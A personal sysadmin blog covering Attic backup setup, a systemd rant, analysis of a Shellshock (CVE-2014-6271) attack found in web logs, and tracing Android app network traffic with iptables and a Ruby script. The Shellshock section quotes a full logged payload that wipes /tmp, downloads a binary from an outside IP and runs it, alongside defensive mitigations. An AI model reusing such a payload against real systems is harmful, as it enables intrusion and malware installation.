Moving from BackupPC to Attic

Trying new software can be fun!

I’ve been using BackupPC as a backup system for my local computers. It has saved my ass a few times already. What I don’t really like is the “pull” approach it uses. You need to able it to access directly the files you want to backup from remote. It supports SMB as well as SSH, but I barely use any kind of Windows system anymore.

Since some people have given Attic a try and were happy with it I decided to try it myself.

This is how I use it:

  • I have a backup server hosting all the repositories
  • This server backups itself locally
  • Other computers push their own backups

All the following happens on Debian Jessie.

# Remote automated backups

On the backup server:

# apt-get install attic
# mkdir -p /backup/attic
# cd /backup/attic

# useradd attic -d /backup/attic -s /bin/bash

# echo "umask 0077" >> /backup/attic/.bashrc

On the system to backup:

# apt-get install attic
# ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa_attic

Copy that in /backup/attic/.ssh/authorized_keys like so

from="10.10.10.10",command="attic serve --restrict-to-path /backup/attic/pc1.attic" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1BaDZxoljGUv7Gh7qB3vOJ9O0tNy6NvZprZTB40inLLRonR4AxqCYdYF19uckFF8O4WBTzysbqAjQuLEA+qPzVY+T/j9XDyAmH2oljXPSAHCW/d/qZi3XPNYgUisnQLlIqYoGHtTeGQunLKSP8oK6g51NoJntTivsRnEf+sTL/p0raDN7E3Po8Y2r1eN41c1K1q790waD9lmdpGe5VyzEaE/uO9VvuPplrdkP+ELHJOEBeIZD6x4ZCAsopXoKmgUqgmXf1EpnKkWPjgSr/3zVLYwg0F8nln1qnR2IV3QDxYwOXFjZ0RVps/ADCJncUh4ZVVP7y7uzeGOOtdBCIs4VMWHdoNJaYolBDjtkC8JhoAMOJ3t0yy5i56C+QwOILZpPgJrz/uAbFabmNGZD/F8tfneTXgiCPa1TssP6QzA/Eku1bcKwREK7nrY6rC7uurbaSqdZQRMcnsvrNYmJ249u99pBoe3MdScfVSpSj9Sd2ZB7fL7MvTIwvBl83wreiO+LXhQXgkte0fPDEDVcGVPAJqCGrYArsJS3HEM4COorAeR7GsvFKrYksgY7yVkPDc5K6GDHalkXJn4dpPjJDprP/9/qHeuxRUoObNEG9nYL/ry8ym/rEU3NU0AqGq8tL+5c8lq+wHsE9iNNb95sCCRHUErXyH0VOKlapffAkDRRSQ== root@pc1

I’ve shamelessly copied the automated backup script from Attic website

#!/bin/sh
REPOSITORY=attic@backup.server:pc1.attic

export ATTIC_PASSPHRASE="some awesome and long passphrase"

attic create --stats                            \
$REPOSITORY::pc1-`date +%Y-%m-%d`      \
/etc                                       \
/home                                       \
/root                                       \
--exclude '*.pyc'

# Use the `prune` subcommand to maintain 7 daily, 4 weekly
# and 6 monthly archives.
attic prune -v $REPOSITORY --keep-daily=7 --keep-weekly=4 --keep-monthly=6

Add this to some daily cron, then back on the backup server:

# su attic
$ attic init -v --encryption=passphrase pc1.attic

And feed it the same passphrase as the one from the previous script.

WARNING: be sure to save the passphrase somewhere else! In case of a failure on pc1, you’ll also lose the backup script, and the corresponding passphrase.

Yay Jessie ! Urrggh systemd

Jessie has just been released 2 days ago, time for some apt-get dist-upgrade and rejoice in all the sweet new features.

Except…

Except there’s a hitch, called Systemd. The Releases Notes’s biggest section is all about how the move to systemd will crush your soul if you don’t pay close attention. This just says how big a thing this is, and how careful you’ll have to be to maintain your sanity.

This will mainly be a rant post to help with anger management.

Install Systemd, lose your system.

  • Have a mount point in /etc/fstab that’s auto and not nofail ? Say bye to your server, systemd will bail out and stop starting services. No ssh no fun. I like how Debian people say “We need to sort this out before the release” … and leave as an open bug for 6 months.

Nice Try !

Weird logs

Watch your web logs, you’ll see some people do sometimes try very hard :

renzokuken.eu:80 222.186.21.115 - - [16/Mar/2015:06:50:59 +0100] "GET / HTTP/1.1" 403 426 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://222.186.21.115:999/udso -O /tmp/China.Z-dmhi  >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-dmhi  >> /tmp/Run.sh;echo /tmp/China.Z-dmhi  >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://222.186.21.115:999/udso -O /tmp/China.Z-dmhi  >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-dmhi  >> /tmp/Run.sh;echo /tmp/China.Z-dmhi  >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\""

# Most advanced threat ever

Exploit

Those are some nice Referer̀ and User-Agent. They are actually the same string and try to exploit CVE-2014-6271, the so called ‘Shellshock’ bug. On an unpatched system, this exploit will:

  • Remove your stuff from /tmp/. It will actually leave files/dirs that start with a ‘.
  • Make a script /tmp/Run.sh with the following content:

    wget http://222.186.21.115:999/udso -O /tmp/China.Z-dmhi echo By China.Z chmod 777 /tmp/China.Z-dmhi /tmp/China.Z-dmhi rm -rf /tmp/Run.sh

  • Run /tmp/Run.sh

## Malware

The udso file is ‘packed’ with UPX (strings, lol) and is actually a big (1.5M) statically linked executable.

It asks Google’s DNS at 8.8.8.8 for the IP of 2015.lnuxx.pw (which is currently 222.186.21.42 ), then connects to it on port 10991 and proceeds to send some info about the system it’s in, with some plaintext strings. Most advanced !

## Mitigation

  • Keep your system updated
  • Don’t run CGI scripts on your webserver
  • Configure firewalls on your servers
  • Use your own DNS servers

Any one of those will protect you from the evil chinese-fu

Get out of my phone !

My LAN firewall logs were showing weird connexions at night from my phone, connected by WiFi, so I decided to play around and check how I could log network connections from Android.

My phone runs ParanoidAndroid version 4.4.4, which fortunately ships with iptables and all the nices kernel modules so I could just do:

iptables -A OUTPUT ! -o lo -j NFLOG --nflog-prefix "NFLOG " --log-uid

and see that it was logging stuff when browsing the web from my favorite app :

root@hammerhead:/ # dmesg | grep NFLOG

<4>[264504.310460] NFLOG IN= OUT=wlan0 SRC=10.0.2.141 DST=91.198.174.204 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=55084 DF PROTO=TCP SPT=56159 DPT=80 WINDOW=1550 RES=0x00 ACK URGP=0 UID=10057 GID=10057 
<4>[264504.310930] NFLOG IN= OUT=wlan0 SRC=10.0.2.141 DST=91.198.174.204 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=55085 DF PROTO=TCP SPT=56159 DPT=80 WINDOW=1595 RES=0x00 ACK URGP=0 UID=10057 GID=10057 
<4>[264504.311754] NFLOG IN= OUT=wlan0 SRC=10.0.2.141 DST=91.198.174.204 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=55086 DF PROTO=TCP SPT=56159 DPT=80 WINDOW=1641 RES=0x00 ACK URGP=0 UID=10057 GID=10057 

Nice! Now to check what app is UID=10057

root@hammerhead:/ # grep -i "userId=\"10057" /data/system/packages.xml         
    <package name="org.mozilla.firefox" codePath="/data/app/org.mozilla.firefox-1.apk" nativeLibraryPath="/data/app-lib/org.mozilla.firefox-1" flags="572996" ft="14b3ba98788>
    <shared-user name="org.mozilla.firefox.sharedID" userId="10057">

which indeed looks like firefox. The only issue is this weird timestamp 264504 which would be ~3 days but my phone was up for more than 19 days, oh well.

I store that log on a file on my phone :

cat /proc/kmsg | grep NL > /mnt/shell/emulated/log &

Make some stupid ruby script :

#!/usr/bin/ruby

require "resolv"
require "pp"

def load_app_ids(f)
    res={}
    File.read(f).each_line {|l|
        case l
        when /<package/
            name = l[/name="([^"]+)"/,1]
            suid = l[/sharedUserId="([^"]+)"/,1]
            uid = l[/userId="([^"]+)"/,1]
            if name
                if uid
                    res[uid]=name
                else
                    res[suid] = name
                end
            end
        end
    }
    return res
end

$appsid=load_app_ids("packages.xml")

logfile = ARGV[0]
res={}
File.open(logfile,"r+").each_line do |l|
    if l=~/\[([.0-9]+)\] "{NL}"IN=([^ ]*) OUT=([^ ]+) SRC=([^ ]+) DST=([^ ]+) LEN=([^ ]+) .+ PROTO=([^ ]+) SPT=([^ ]+) DPT=([^ ]+) .* UID=([0-9]+)/
        entry={}
        entry["time"] = $1
        entry["ifin"] = $2
        entry["ifout"] = $3
        entry["ipsrc"] = $4
        entry["ipdst"] = $5
        entry["len"] = $6
        entry["proto"] = $7
        entry["spt"] = $8
        entry["dpt"] = $9
        entry["name"] = $appsid[$10]
        key = "#{entry['ipdst']}:#{entry['dpt']}:#{entry['proto']}"
        (res[key] ||= [] ) << entry["name"]
        res[key].uniq!
    end

end
res.each do |k,v|
        ip = k[/^([^:]+):/,1]
        key = k.dup
        begin
            name =Resolv.getname(ip)
            key.gsub!(ip,name)
        rescue Resolv::ResolvError => e
        end

        # Ignore 'normal' stuff
        # next if key=~/1e100.net:(80|443)/
        # next if key=~/mozilla\.(com|net):443/
        # if v.include?("org.mozilla.firefox") and key=~/(80|443):TCP/
        #    next
        # end
        # next if key=~/239.255.255.250:1900:UDP/
        puts "#{key} => #{v}"
end

the script gets started this way, once the phone is connected:

adb pull /mnt/shell/emulated/log .
adb pull /data/system/packages.xml .
ruby stuff.rb log

Some “weird” things happen :

"239.255.255.250:1900:UDP"=>["org.mozilla.firefox"],

Firefox does SSDP, it seems to discover second-screen devices.

"mygateway:4886:UDP"=>["org.mozilla.firefox"],

Now this is somewhat crazy. It looks like firefox will kinda hit your gateway on some randomly-chosen-then-hard-coded-UDP-port with a 0-length UDP packet to keep your wireless connection “live”.

And scarier :

"5.196.196.168:123:UDP"=>["com.lge.SprintHiddenMenu"]

WTF is that app ?!! There is no source code to be found, it seems the APK is slammed into the AOSP repo. It looks like it’s been removed for the future 5.0 release of AOSPA, and from what I could read it’s just some weird app for Sprint telco company that does stuff…. the apk has like half of all the possible permissions and tries to connect to some OVH IP (which actually might be a ntp.org pool server). I don’t want that ! The solution is:

root@hammerhead:/ # pm disable com.lge.SprintHiddenMenu                        
Package com.lge.SprintHiddenMenu new state: disabled

On further exploring, it looks like some kind of bloatware designed to make Sprint customers’ life a pain in the ass with weird activation process. It also hijack the telephony to catch magic numbers in order to do magical things.

UPDATE: this un-removeable app reboots your phone on recieving a specific intent… THANKS